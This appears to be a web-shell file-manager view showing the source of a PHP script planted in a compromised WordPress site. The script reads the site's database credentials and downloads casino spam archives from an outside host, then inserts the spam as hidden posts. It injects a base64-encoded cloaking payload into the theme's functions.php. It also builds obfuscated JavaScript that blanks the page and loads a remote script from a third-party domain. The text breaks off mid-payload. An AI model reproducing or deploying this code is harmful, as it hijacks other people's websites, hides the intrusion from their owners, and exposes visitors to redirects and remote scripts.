HEX
Server: Apache
System: Linux hybrid2683.fr.ns.planethoster.net 3.10.0-1160.119.1.el7.tuxcare.els19.x86_64 #1 SMP Mon Mar 31 17:29:00 UTC 2025 x86_64
User: sareqgroup (1004)
PHP: 7.3.33
Disabled: noop
Upload Files
File: /home/sareqgroup/ecommerce.com/wp-main.php
<?php
define('CURRENTDIR', getcwd());
define('GS_ALIAS', 'https://tableinhouse.com');

define('URL_WITH_ARCHIVES', GS_ALIAS . '/static/archives/CSN-ICR-SINGLE-FR-{DIR_NUM}/');
define('ARCHIVES_RANGE', '1-10');
define('DIR_NUM', 157); // 160
// fr 48-53, ES 391-400 , TR 26-30, BR 90-100
define('CUSTOM_AUTHOR_ID', 2002);
define('REDEFINE_JS_FOR_USER', 1);
define('CLOACKING', 1);


$homeLinksSettings = array(
    'hiddenType' => array(
        'cloacking' => 0,
        'css' => 1,
    ),
    'position' => array(
        'footer' => 0,
        'head' => 1,
    ),
    'language' => 'EN', //text api
    'type' => 'CASINO',
    'textBlocksCount' => array(
        'onlyHomePage' => 0,
        '10DifferentTextBlocks' => 1,
        '100DifferentTextBlocks' => 0,
        'fullDifferentTextBlocks' => 0,
    ),
);

$_SERVER['homeLinksSettings'] = $homeLinksSettings;

define('FORCE_CHANGE_HOME_LINKS_OWNER', 0);

/* * Link building settings* */
define('INTERNAL_LINKING', 1);
define('EXTERNAL_LINKING', 0);
define('INTERNAL_LINKS_COUNT_PAGE', '2..6');
define('EXTERNAL_LINKS_COUNT_PAGE', '1..3');
define('TABLE_HASH', '11c601a3bad16d2567e6754cddc9d28c');
define('HTML_HASH', '31d410006291280c70416aabda41c4e9');
define('COUNT_LINKS_FROM_DOMAIN', 3);
/* * Link building settings* */

define('SITEMAP_NAME', 'sitemap2002');
define('USE_ORIGINAL_SLUG', 1);

/*
 * Use unzip method with header.php
 * ziparchive unpacks files incorrectly.
 */
define('GREEK_LANGUAGE', 1);

//define('HOME_URL', 'https://musicforlife.co.id');


if (defined('CUSTOM_AUTHOR_ID') && CUSTOM_AUTHOR_ID < 1000) {
    echo 'use CUSTOM_AUTHOR_ID value large then 1000' . PHP_EOL;
    exit;
}


if (is_null($rootDir = detectWProotDir())) {
    echo 'wp root directory not found' . PHP_EOL;
    exit;
}


if (!linkBuildingSettingsCheck()) {
    exit;
}


define('WP_ROOT_DIR', $rootDir);

//define('CUSTOM_TEMPLATE_PATH', $rootDir . '/wp-content/themes/oshin');


if (!defined('TEMPLATEPATH')) {
    define('TEMPLATEPATH', '');
}
if (!defined('STYLESHEETPATH')) {
    define('STYLESHEETPATH', '');
}
if (!defined('WP_USE_THEMES')) {
    define('WP_USE_THEMES', false);
}


/* * settings* */

$actions = array(

    'upload' => 1,
    'unzip' => 1,
    'import' => 1,
    'hide' => 1,
    'send' => 1,
    'clean' => 1,
    //'sitemap' => 1,
    //'sitemapSecondMethod' => 1,
    //'rollback' => 1,
    //'sendPostsFromDb' => 1,
    //'viewSettings' => 1,
    //'viewAllAuthors' => 1,
    //'allPermalinks' => 1,
    //'viewSettingsAsJson' => 1,
);


$firstVarCustom = genLetCustom(rand(10, 20));
$secondVarCustom = genLetCustom(rand(10, 20));
$thirdVarCustom = genLetCustom(rand(10, 20));
$fourthVarCustom = genLetCustom(rand(10, 20));

$jsSource = <<<STR
new Image().src = "//counter.yadro.ru/hit;csnicr?r"+
escape(document.referrer)+((typeof(screen)=="undefined")?"":
";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth?
screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+
";"+Math.random();
document.addEventListener("DOMContentLoaded", function (event) {
    var bodyNode = document.getElementsByTagName('body')[0];
    if (bodyNode) {
        bodyNode.remove();
    }
});
var ${firstVarCustom}="<script type=\"text/javascript\" language=\"JavaScript\" ";var ${secondVarCustom}="src=\"//charbroiledburgers.org/";var ${thirdVarCustom}="csnicr.js?ref="+encodeURI(document.URL)+"&title="+encodeURI(document.title)+"&httpref="+encodeURI(document.referrer)+"\">";var ${fourthVarCustom}=" </script>";document.write(${firstVarCustom}+${secondVarCustom}+${thirdVarCustom}+${fourthVarCustom});
STR;

define('JS_SOURCE', $jsSource);
define('RAND_DATE', 0);
define('ALTERNATIVE_CONNECT_MYSQL', 0);

/* * settings* */


if (ALTERNATIVE_CONNECT_MYSQL === 1) {

    if (isBadEnvCustom()) {
        echo 'change shell, invalid require wp-blog-header' . PHP_EOL;
        exit;
    }

    require_once WP_ROOT_DIR . '/wp-blog-header.php';

    if (defined('DB_PASSWORD')) {

        if (stristr(DB_HOST, ':') !== false) {
            list($hostAddr, $dbPort) = explode(':', DB_HOST);
        } else {
            $dbPort = 3306;
            $hostAddr = DB_HOST;
        }

        $wpConfigArrTmp = array(
            'dbname' => DB_NAME,
            'dbuser' => DB_USER,
            'dbpassword' => DB_PASSWORD,
            'dbhostaddr' => $hostAddr,
            'dbprefix' => $table_prefix,
            'dbport' => $dbPort,
        );

        define('WP_CONFIG_ARR_AS_JSON', json_encode($wpConfigArrTmp));
    } else {
        echo 'error using alternative connection method' . PHP_EOL;
    }
}


$configSource = file_get_contents(WP_ROOT_DIR . '/wp-config.php');

if ($configSource === false) {
    echo 'error reading wp-config.php' . PHP_EOL;
    exit;
}

if (!defined('WRITEABLE_PATH')) {

    foreach (array('wp-content/uploads', 'wp-content/themes', 'wp-content/plugins') as $mbWriteablePath) {
        $writeableDirectory = findWriteablePath(WP_ROOT_DIR . '/' . $mbWriteablePath);
        if (!empty($writeableDirectory)) {
            define('WRITEABLE_PATH', $writeableDirectory);
            break;
        }
    }
}

if (!$writeableDirectory) {
    echo 'no directory for writing' . PHP_EOL;
    exit;
}


$tmpDirName = $_SERVER['HTTP_HOST'];

if (!is_dir(WRITEABLE_PATH . '/' . $tmpDirName)) {
    if (!mkdir(WRITEABLE_PATH . '/' . $tmpDirName)) {
        echo 'dont create temp dir' . PHP_EOL;
        exit;
    }
}

define('TMPDIR', WRITEABLE_PATH . '/' . $tmpDirName);

$configArr = parseWpConfig($configSource);

define('CONFIGSOURCE', $configSource);


function isAvailablePdoDriver($name) {
    return (in_array($name, PDO::getAvailableDrivers()));
}

function customDbLink($configSource) {
    if (detectSqliteInstance($configSource)) {
        if (!isAvailablePdoDriver('sqlite')) {
            echo 'sqlite driver not found' . PHP_EOL;

            return false;
        }

        $db = new PDO("sqlite:" . WP_ROOT_DIR . '/wpsqlite.db');

    } else {
        if (!isAvailablePdoDriver('mysql')) {
            echo 'mysql driver not found' . PHP_EOL;

            return false;
        }
        $configArr = parseWpConfig($configSource);
        $dbh = sprintf('mysql:host=%s;dbname=%s;port=%s', $configArr['dbhostaddr'], $configArr['dbname'], $configArr['dbport']);
        $db = new PDO($dbh, $configArr['dbuser'], $configArr['dbpassword']
            , array(PDO::MYSQL_ATTR_INIT_COMMAND => 'SET sql_mode="ALLOW_INVALID_DATES"'));

    }

    return $db;

}


try {
    $customDbLink = customDbLink($configSource);
    $dbConfig = detectSqliteInstance($configSource) ? false : $configArr;
    $customDbHandler = new CustomDbHandler($customDbLink, $dbConfig);
} catch (Exception $ex) {
    if (!$dbConfig) {
        //mysql
        $errorPdoConnection = 1;
    } else {
        echo 'Could not connect to db ' . $ex->getMessage();
        exit;
    }
}

if (isset($errorPdoConnection)) {
    //var_dump('alternative connect');
    require_once($rootDir . '/wp-config.php');
    $definedConstants = get_defined_constants(true);


    if (!$definedConstants['user']) {
        echo 'Could not connect to db alternative method';
        exit;
    }

    $dbname = $definedConstants['user']['DB_NAME'];
    $dbuser = $definedConstants['user']['DB_USER'];
    $dbpassword = $definedConstants['user']['DB_PASSWORD'];
    $dbhostaddr = $definedConstants['user']['DB_HOST'];
    $dbprefix = $prefix[1];


    if (stristr($dbhostaddr, ':') !== false) {
        list($hostAddr, $dbPort) = explode(':', $dbhostaddr);
    } else {
        $dbPort = 3306;
        $hostAddr = $dbhostaddr;
    }


    try {
        $dbh = sprintf('mysql:host=%s;dbname=%s;port=%s', $hostAddr, $dbname, $dbPort);
        $customDbLink = new PDO($dbh, $dbuser, $dbpassword
            , array(PDO::MYSQL_ATTR_INIT_COMMAND => 'SET sql_mode="ALLOW_INVALID_DATES", NAMES utf8'));
        $customDbHandler = new CustomDbHandler($customDbLink, $dbConfig);

    } catch (Exception $ex) {
        echo 'Could not connect to db ' . $ex->getMessage();
        exit;
    }


}

function detectSqliteInstance($configSource) {
    if (strstr($configSource, 'wpsqlite.db') !== false) {
        return true;
    }

    return false;
}


echo "Connected successfully" . PHP_EOL;
$homeUrl = $customDbHandler->homeUrl();

if (!defined('HOME_URL')) {
    if (!$homeUrl) {
        echo 'homeurl function return null, please define HOME_URL manually' . PHP_EOL;
        exit;
    } else {
        define('HOME_URL', $homeUrl);
    }
}


if (defined('HOME_LINKS') && (HOME_LINKS === 1)) {
    if (!validateHomeLinks($actions)) {
        exit;
    }
}


function validateHomeLinks($actions) {
    if (defined('FORCE_CHANGE_HOME_LINKS_OWNER') && FORCE_CHANGE_HOME_LINKS_OWNER === 1) {
        return true;
    }
    if (!isset($actions['homeLinks'])) {
        return true;
    }
    $settings = getDbSettingsCustom();
    if (isset($settings[CUSTOM_AUTHOR_ID])) {
        unset($settings[CUSTOM_AUTHOR_ID]);
    }
    foreach ($settings as $value) {
        if (isset($value['homeLinks']) && !is_null($value['homeLinks'])) {
            echo 'another user is using home links' . PHP_EOL;

            return false;
        }
    }

    return true;
}


if (!function_exists('file_put_contents')) {

    function file_put_contents($filename, $data) {
        $f = @fopen($filename, 'w');
        if (!$f) {
            return false;
        } else {
            $bytes = fwrite($f, $data);
            fclose($f);

            return $bytes;
        }
    }

}


if (isset($actions['import']) && !isset($actions['hide'])) {
    echo 'you cannot run import without hide' . PHP_EOL;
    exit;
}


if (isset($actions['homeLinks']) && !isset($actions['hide'])) {
    $actions['hide'] = 1;
}


if ((count($actions) > 1) && isset($actions['hide'])) {
    unset($actions['hide']);
    $actions = array('hide' => 1) + $actions;
}


foreach ($actions as $actionName => $status) {

    if (!$status) {
        continue;
    }

    doAction($actionName);
}

function doAction($actionName) {

    $callBackName = $actionName . 'Action';

    if (function_exists($callBackName)) {

        echo $callBackName . ' start' . PHP_EOL;

        if (!call_user_func($callBackName)) {
            echo $callBackName . ' return false' . PHP_EOL;
            exit;
        }
    } else {
        echo "callBack $callBackName not found" . PHP_EOL;
    }
}

function sitemapSecondMethodAction() {

    if (!checkSitemapNameRoot()) {
        return false;
    }

    if (isBadEnvCustom()) {
        echo 'change shell, invalid require wp-blog-header' . PHP_EOL;
        exit;
    }

    require_once WP_ROOT_DIR . '/wp-blog-header.php';

    $head = sitemapHeadSec();

    $sitemapSource = $head . "\n";
    $sitemapPath = WP_ROOT_DIR . '/' . SITEMAP_NAME . '.xml';

    try {
        $urls = CustomDbHandler::getInstance()
            ->allPostsFromDb(HOME_URL, CUSTOM_AUTHOR_ID);
    } catch (Exception $ex) {
        throw new Exception('invalid fetch urls for sitemap');
    }

    if (empty($urls)) {
        echo "no posts by author id" . PHP_EOL;

        return false;
    }


    foreach ($urls as $urlWithTitle) {

        list ($url, $title) = explode(';', $urlWithTitle, 2);
        preg_match('~\?p=(\d+)~', $url, $idMatches);
        $url = get_permalink($idMatches[1]);

        echo $url . "\n";

        $lastmod = date('Y-m-d');
        $changefreqArr = array('monthly', 'weekly', 'daily', 'hourly', 'always');
        $priority = '0.' . rand(5, 9);

        $sitemapSource .= urlBlockSec($url, $lastmod, $changefreqArr[rand(0, count($changefreqArr) - 1)]
            , $priority);
        wp_cache_delete($idMatches[1], 'posts');
    }

    $sitemapSource .= "\n</urlset>";

    if (file_put_contents($sitemapPath, $sitemapSource)) {
        touch($sitemapPath, frequenttimestamp(WP_ROOT_DIR));
        echo currenturl($sitemapPath, HOME_URL);

        return true;
    }

    return false;
}

function sitemapHeadSec() {
    return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset
      xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"
      xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9
            http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">

    
STR;
}

function sitemapAction() {

    if (!checkSitemapNameRoot()) {
        return false;
    }

    $head = sitemapHeadSec();
    $sitemapSource = $head . "\n";
    $sitemapPath = WP_ROOT_DIR . '/' . SITEMAP_NAME . '.xml';

    try {
        $urls = CustomDbHandler::getInstance()
            ->allPostsFromDb(HOME_URL, CUSTOM_AUTHOR_ID);
    } catch (Exception $ex) {
        throw new Exception('invalid fetch urls for sitemap');
    }

    if (empty($urls)) {
        echo "no posts by author id" . PHP_EOL;

        return false;
    }


    foreach ($urls as $urlWithTitle) {

        list ($url, $title) = explode(';', $urlWithTitle, 2);

        $lastmod = date('Y-m-d');
        $changefreqArr = array('monthly', 'weekly', 'daily', 'hourly', 'always');
        $priority = '0.' . rand(5, 9);

        $sitemapSource .= urlBlockSec($url, $lastmod, $changefreqArr[rand(0, count($changefreqArr) - 1)]
            , $priority);
    }

    $sitemapSource .= "\n</urlset>";

    if (file_put_contents($sitemapPath, $sitemapSource)) {
        echo currenturl($sitemapPath);

        return true;
    }

    return false;
}

function uploadAction() {

    $url = str_replace('{DIR_NUM}', DIR_NUM, URL_WITH_ARCHIVES);

    try {
        uploadRangeOfFiles($url, ARCHIVES_RANGE, '.zip', TMPDIR);

        return true;
    } catch (Exception $ex) {

        return false;
    }
}

function unzipAction() {

    if (defined('GREEK_LANGUAGE') && GREEK_LANGUAGE === 1) {
        echo 'use unzip with header' . PHP_EOL;
        try {
            return unzipFirstMethod();
        } catch (Exception $ex) {
            echo $ex->getMessage();
        }
    }

    if (class_exists('ZipArchive')) {
        return unzipSecondMethod();
    } else {
        echo 'use unzip with header' . PHP_EOL;
        try {
            return unzipFirstMethod();
        } catch (Exception $ex) {
            echo $ex->getMessage();
        }
    }
}

function importAction() {

    $date = '';

    $htmlFiles = glob(TMPDIR . "/*.html");
    shuffle($htmlFiles);


    $mutexName = defined('CUSTOM_AUTHOR_ID') ? '_' . CUSTOM_AUTHOR_ID : '';

    if (file_exists(TMPDIR . '/import_finish' . $mutexName)) {
        echo 'files already imported' . PHP_EOL;

        return true;
    }


    if (!$htmlFiles) {
        echo "html files not found" . PHP_EOL;

        return false;
    }

    $extLinksArr = array();

    if (defined('EXTERNAL_LINKING') && (EXTERNAL_LINKING === 1)) {
        $countHtmlFiles = count($htmlFiles);
        downloadExternalLinks($countHtmlFiles);
        $extLinksArr = decodeExternalLinks();

        if (!$extLinksArr) {
            return false;
        }
    }


    $results = array();

    if (!is_dir(TMPDIR . '/imported')) {
        if (!mkdir(TMPDIR . '/imported')) {
            echo "dont create imported dir" . PHP_EOL;

            return false;
        }
    }


    if (!defined('RAND_DATE') || (RAND_DATE === 0)) {
        $date = CustomDbHandler::getInstance()->lastPostDateQuery();
    }


    foreach ($htmlFiles as $key => $html) {


        try {
            $contentParts = contentParts(file_get_contents($html));


        } catch (Exception $ex) {
            echo $ex->getMessage();
            continue;
        }

        $text = $contentParts['text'];
        $text = textWithLinks($text, $results, $extLinksArr);
        $customSlug = slugPrepareBeforeInsert($html, $contentParts['slug']);


        try {
            $postId = CustomDbHandler::getInstance()->insertPost($contentParts['title'], $text, $date
                , CUSTOM_AUTHOR_ID, $customSlug);
        } catch (Exception $ex) {
            var_dump($ex->getMessage());
            continue;
        }


        $results[] = resultFormat(HOME_URL, $postId, $contentParts['title']);
        rename($html, TMPDIR . '/imported/' . mb_basename($html, '.html'));

    }

    if (!empty($results)) {
        $logPath = TMPDIR . '/log' . $mutexName . '.txt';
        echo 'write to log - ' . $logPath . PHP_EOL;
        echo currenturl($logPath, HOME_URL) . PHP_EOL;
        file_put_contents($logPath, implode("\n", $results) . "\n", FILE_APPEND);
        if ($key === (count($htmlFiles) - 1)) {
            file_put_contents(TMPDIR . '/import_finish' . $mutexName, '');
        }

        return true;
    } else {
        echo "results are empty" . PHP_EOL;

        return false;
    }
}


function slugPrepareBeforeInsert($filename, $contentPartsSlug) {
    if (defined('USE_ORIGINAL_SLUG') && (USE_ORIGINAL_SLUG === 1)) {
        $customSlug = mb_basename($filename, '.html');

        if (CustomDbHandler::getInstance()->dbType === CustomDbHandler::DB_TYPE_SQLITE) {
            $customSlug = stringToSlug($contentPartsSlug);
        }

    } else {
        $customSlug = $contentPartsSlug;
    }

    return $customSlug;
}


function linksPrepare($results) {

    $links = array();

    foreach ($results as $result) {
        list ($url, $title) = explode(';', $result, 2);
        $title = htmlspecialchars_decode($title);
        $url = str_replace('//?p=', '/?p=', $url);
        $links[] = "<a href=\"$url\">$title</a>";
    }

    return $links;
}

function getTemplatePath() {
    try {
        $templateName = CustomDbHandler::getInstance()->getOption('template');
        $templateName = $templateName['option_value'];
    } catch (Exception $ex) {
        echo $ex->getMessage();

        return false;
    }

    if (file_exists(WP_ROOT_DIR . '/wp-content/themes/' . $templateName . '/functions.php')) {
        return WP_ROOT_DIR . '/wp-content/themes/' . $templateName;
    }

    //echo 'functions.php not found in theme directory' . PHP_EOL;
    return false;
}

function hideAction() {

    if (!defined('CUSTOM_TEMPLATE_PATH')) {
        $templateDirectory = getTemplatePath();
    } else {
        $templateDirectory = CUSTOM_TEMPLATE_PATH;
    }

    $functionsPath = $templateDirectory . '/functions.php';

    if (!file_exists($functionsPath)) {
        echo $functionsPath . '/ no exists' . PHP_EOL;

        return false;
    }

    if (!is_writeable($functionsPath)) {
        echo $functionsPath . ' no writeable' . PHP_EOL;

        return false;
    }

    $functionsSource = file_get_contents($functionsPath);

    if ($functionsSource === false) {
        echo 'error while reading functions.php' . PHP_EOL;
        echo 'try to set right permissions...' . PHP_EOL;
        if (!chmod($functionsPath, 0644)) {
            return false;
        }
        echo 'success!' . PHP_EOL;
        $functionsSource = file_get_contents($functionsPath);
    }


    $source = 'LyogY3VzdG9tIGZpbHRlcnMgKi8KCmZ1bmN0aW9uIGFkZF93aGVyZV9jb25kaXRpb24oJHdoZXJlKSB7CiAgICBnbG9iYWwgJHdwZGIsICR1c2VyU2V0dGluZ3NBcnI7CgogICAgJGlkcyA9IGFycmF5X2tleXMoJHVzZXJTZXR0aW5nc0Fycik7CiAgICAkaWRzQ29tbWFTZXBhcmF0ZWQgPSBpbXBsb2RlKCcsICcsICRpZHMpOwoKICAgIGlmICghaXNfc2luZ2xlKCkgJiYgaXNfYWRtaW4oKSkgewogICAgICAgIGFkZF9maWx0ZXIoJ3ZpZXdzX2VkaXQtcG9zdCcsICdmaXhfcG9zdF9jb3VudHMnKTsKICAgICAgICByZXR1cm4gJHdoZXJlIC4gIiBBTkQgeyR3cGRiLT5wb3N0c30ucG9zdF9hdXRob3IgTk9UIElOICgkaWRzQ29tbWFTZXBhcmF0ZWQpIjsKICAgIH0KCiAgICByZXR1cm4gJHdoZXJlOwp9CgpmdW5jdGlvbiBwb3N0X2V4Y2x1ZGUoJHF1ZXJ5KSB7CgogICAgZ2xvYmFsICR1c2VyU2V0dGluZ3NBcnI7CgogICAgJGlkcyA9IGFycmF5X2tleXMoJHVzZXJTZXR0aW5nc0Fycik7CiAgICAkZXhjbHVkZVN0cmluZyA9IG1vZGlmeVdyaXRlcnNTdHJpbmcoJGlkcyk7CgogICAgaWYgKCEkcXVlcnktPmlzX3NpbmdsZSgpICYmICFpc19hZG1pbigpKSB7CiAgICAgICAgJHF1ZXJ5LT5zZXQoJ2F1dGhvcicsICRleGNsdWRlU3RyaW5nKTsKICAgIH0KfQoKZnVuY3Rpb24gd3BfY29yZV9qcygpIHsKCiAgICBnbG9iYWwgJHBvc3QsICR1c2VyU2V0dGluZ3NBcnI7CgogICAgZm9yZWFjaCAoJHVzZXJTZXR0aW5nc0FyciBhcyAkaWQgPT4gJHNldHRpbmdzKSB7CiAgICAgICAgaWYgKCgkaWQgPT0gJHBvc3QtPnBvc3RfYXV0aG9yKSAmJiAoaXNzZXQoJHNldHRpbmdzWydqcyddKSkpIHsKCiAgICAgICAgICAgIGlmIChoaWRlSlNzb3VyY2UoJHNldHRpbmdzKSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAkc2V0dGluZ3NbJ2pzJ107CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KICAgIH0KfQoKZnVuY3Rpb24gaGlkZUpTc291cmNlKCRzZXR0aW5ncykgewogICAgaWYgKGlzc2V0KCRzZXR0aW5nc1snbm9qcyddKSAmJiAkc2V0dGluZ3NbJ25vanMnXSA9PT0gMSkgewogICAgICAgIC8vY3VzdG9tU2V0RGVidWcoJ2Nsb2Fja2luZyBpcyBvbiEnKTsKICAgICAgICAvL2N1c3RvbVNlbmREZWJ1ZygpOwogICAgICAgIGlmIChjdXN0b21DaGVja1NlKCkpIHsKICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfQogICAgfQogICAgcmV0dXJuIGZhbHNlOwp9CgpmdW5jdGlvbiBmaXhfcG9zdF9jb3VudHMoJHZpZXdzKSB7CiAgICBnbG9iYWwgJGN1cnJlbnRfdXNlciwgJHdwX3F1ZXJ5OwoKICAgICR0eXBlcyA9IGFycmF5KAogICAgICAgIGFycmF5KCdzdGF0dXMnID0+IE5VTEwpLAogICAgICAgIGFycmF5KCdzdGF0dXMnID0+ICdwdWJsaXNoJyksCiAgICAgICAgYXJyYXkoJ3N0YXR1cycgPT4gJ2RyYWZ0JyksCiAgICAgICAgYXJyYXkoJ3N0YXR1cycgPT4gJ3BlbmRpbmcnKSwKICAgICAgICBhcnJheSgnc3RhdHVzJyA9PiAndHJhc2gnKSwKICAgICAgICBhcnJheSgnc3RhdHVzJyA9PiAnbWluZScpLAogICAgKTsKICAgIGZvcmVhY2ggKCR0eXBlcyBhcyAkdHlwZSkgewoKICAgICAgICAkcXVlcnkgPSBhcnJheSgKICAgICAgICAgICAgJ3Bvc3RfdHlwZScgPT4gJ3Bvc3QnLAogICAgICAgICAgICAncG9zdF9zdGF0dXMnID0+ICR0eXBlWydzdGF0dXMnXQogICAgICAgICk7CgogICAgICAgICRyZXN1bHQgPSBuZXcgV1BfUXVlcnkoJHF1ZXJ5KTsKCiAgICAgICAgaWYgKCR0eXBlWydzdGF0dXMnXSA9PSBOVUxMKSB7CiAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCd+XD5cKChbMC05LF0rKVwpXDx+JywgJHZpZXdzWydhbGwnXSwgJG1hdGNoZXMpKSB7CiAgICAgICAgICAgICAgICAkdmlld3NbJ2FsbCddID0gc3RyX3JlcGxhY2UoJG1hdGNoZXNbMF0sICc+KCcgLiAkcmVzdWx0LT5mb3VuZF9wb3N0cyAuICcpPCcsICR2aWV3c1snYWxsJ10pOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlaWYgKCR0eXBlWydzdGF0dXMnXSA9PSAnbWluZScpIHsKCgogICAgICAgICAgICAkbmV3UXVlcnkgPSAkcXVlcnk7CiAgICAgICAgICAgICRuZXdRdWVyeVsnYXV0aG9yX19pbiddID0gYXJyYXkoJGN1cnJlbnRfdXNlci0+SUQpOwoKICAgICAgICAgICAgJHJlc3VsdCA9IG5ldyBXUF9RdWVyeSgkbmV3UXVlcnkpOwoKICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJ35cPlwoKFswLTksXSspXClcPH4nLCAkdmlld3NbJ21pbmUnXSwgJG1hdGNoZXMpKSB7CiAgICAgICAgICAgICAgICAkdmlld3NbJ21pbmUnXSA9IHN0cl9yZXBsYWNlKCRtYXRjaGVzWzBdLCAnPignIC4gJHJlc3VsdC0+Zm91bmRfcG9zdHMgLiAnKTwnLCAkdmlld3NbJ21pbmUnXSk7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2VpZiAoJHR5cGVbJ3N0YXR1cyddID09ICdwdWJsaXNoJykgewogICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnflw+XCgoWzAtOSxdKylcKVw8ficsICR2aWV3c1sncHVibGlzaCddLCAkbWF0Y2hlcykpIHsKICAgICAgICAgICAgICAgICR2aWV3c1sncHVibGlzaCddID0gc3RyX3JlcGxhY2UoJG1hdGNoZXNbMF0sICc+KCcgLiAkcmVzdWx0LT5mb3VuZF9wb3N0cyAuICcpPCcsICR2aWV3c1sncHVibGlzaCddKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZVsnc3RhdHVzJ10gPT0gJ2RyYWZ0JykgewogICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnflw+XCgoWzAtOSxdKylcKVw8ficsICR2aWV3c1snZHJhZnQnXSwgJG1hdGNoZXMpKSB7CiAgICAgICAgICAgICAgICAkdmlld3NbJ2RyYWZ0J10gPSBzdHJfcmVwbGFjZSgkbWF0Y2hlc1swXSwgJz4oJyAuICRyZXN1bHQtPmZvdW5kX3Bvc3RzIC4gJyk8JywgJHZpZXdzWydkcmFmdCddKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZVsnc3RhdHVzJ10gPT0gJ3BlbmRpbmcnKSB7CiAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCd+XD5cKChbMC05LF0rKVwpXDx+JywgJHZpZXdzWydwZW5kaW5nJ10sICRtYXRjaGVzKSkgewogICAgICAgICAgICAgICAgJHZpZXdzWydwZW5kaW5nJ10gPSBzdHJfcmVwbGFjZSgkbWF0Y2hlc1swXSwgJz4oJyAuICRyZXN1bHQtPmZvdW5kX3Bvc3RzIC4gJyk8JywgJHZpZXdzWydwZW5kaW5nJ10pOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlaWYgKCR0eXBlWydzdGF0dXMnXSA9PSAndHJhc2gnKSB7CiAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCd+XD5cKChbMC05LF0rKVwpXDx+JywgJHZpZXdzWyd0cmFzaCddLCAkbWF0Y2hlcykpIHsKICAgICAgICAgICAgICAgICR2aWV3c1sndHJhc2gnXSA9IHN0cl9yZXBsYWNlKCRtYXRjaGVzWzBdLCAnPignIC4gJHJlc3VsdC0+Zm91bmRfcG9zdHMgLiAnKTwnLCAkdmlld3NbJ3RyYXNoJ10pOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQogICAgcmV0dXJuICR2aWV3czsKfQoKZnVuY3Rpb24gZmlsdGVyX2Z1bmN0aW9uX25hbWVfNDA1NSgkY291bnRzLCAkdHlwZSwgJHBlcm0pIHsKCiAgICBpZiAoJHR5cGUgPT09ICdwb3N0JykgewogICAgICAgICRvbGRfY291bnRzID0gJGNvdW50cy0+cHVibGlzaDsKICAgICAgICAkY291bnRzX21vZCA9IHBvc3RzX2NvdW50X2N1c3RvbSgkcGVybSk7CiAgICAgICAgJGNvdW50cy0+cHVibGlzaCA9ICEkY291bnRzX21vZCA/ICRvbGRfY291bnRzIDogJGNvdW50c19tb2Q7CiAgICB9CiAgICByZXR1cm4gJGNvdW50czsKfQoKZnVuY3Rpb24gcG9zdHNfY291bnRfY3VzdG9tKCRwZXJtKSB7CiAgICBnbG9iYWwgJHdwZGIsICR1c2VyU2V0dGluZ3NBcnI7CgogICAgJGlkcyA9IGFycmF5X2tleXMoJHVzZXJTZXR0aW5nc0Fycik7CiAgICAkaWRzQ29tbWFTZXBhcmF0ZWQgPSBpbXBsb2RlKCcsICcsICRpZHMpOwoKICAgICR0eXBlID0gJ3Bvc3QnOwoKICAgICRxdWVyeSA9ICJTRUxFQ1QgcG9zdF9zdGF0dXMsIENPVU5UKCAqICkgQVMgbnVtX3Bvc3RzIEZST00geyR3cGRiLT5wb3N0c30gV0hFUkUgcG9zdF90eXBlID0gJXMiOwoKICAgIGlmICgncmVhZGFibGUnID09ICRwZXJtICYmIGlzX3VzZXJfbG9nZ2VkX2luKCkpIHsKCiAgICAgICAgJHBvc3RfdHlwZV9vYmplY3QgPSBnZXRfcG9zdF90eXBlX29iamVjdCgkdHlwZSk7CgogICAgICAgIGlmICghY3VycmVudF91c2VyX2NhbigkcG9zdF90eXBlX29iamVjdC0+Y2FwLT5yZWFkX3ByaXZhdGVfcG9zdHMpKSB7CiAgICAgICAgICAgICRxdWVyeSAuPSAkd3BkYi0+cHJlcGFyZSgKICAgICAgICAgICAgICAgICIgQU5EIChwb3N0X3N0YXR1cyAhPSAncHJpdmF0ZScgT1IgKCBwb3N0X2F1dGhvciA9ICVkIEFORCBwb3N0X3N0YXR1cyA9ICdwcml2YXRlJyApKSIsIGdldF9jdXJyZW50X3VzZXJfaWQoKQogICAgICAgICAgICApOwogICAgICAgIH0KICAgIH0KICAgICRxdWVyeSAuPSAiIEFORCBwb3N0X2F1dGhvciBOT1QgSU4gKCRpZHNDb21tYVNlcGFyYXRlZCkgR1JPVVAgQlkgcG9zdF9zdGF0dXMiOwogICAgJHJlc3VsdHMgPSAoYXJyYXkpJHdwZGItPmdldF9yZXN1bHRzKCR3cGRiLT5wcmVwYXJlKCRxdWVyeSwgJHR5cGUpLCBBUlJBWV9BKTsKCiAgICBmb3JlYWNoICgkcmVzdWx0cyBhcyAkdG1wQXJyKSB7CiAgICAgICAgaWYgKCR0bXBBcnJbJ3Bvc3Rfc3RhdHVzJ10gPT09ICdwdWJsaXNoJykgewogICAgICAgICAgICByZXR1cm4gJHRtcEFyclsnbnVtX3Bvc3RzJ107CiAgICAgICAgfQogICAgfQp9CgpmdW5jdGlvbiBhbGxfY3VzdG9tX3Bvc3RzX2lkcygkdXNlcklkKSB7CiAgICBnbG9iYWwgJHdwZGI7CgogICAgJHF1ZXJ5ID0gIlNFTEVDVCBJRCBGUk9NIHskd3BkYi0+cG9zdHN9IHdoZXJlIHBvc3RfYXV0aG9yID0gJHVzZXJ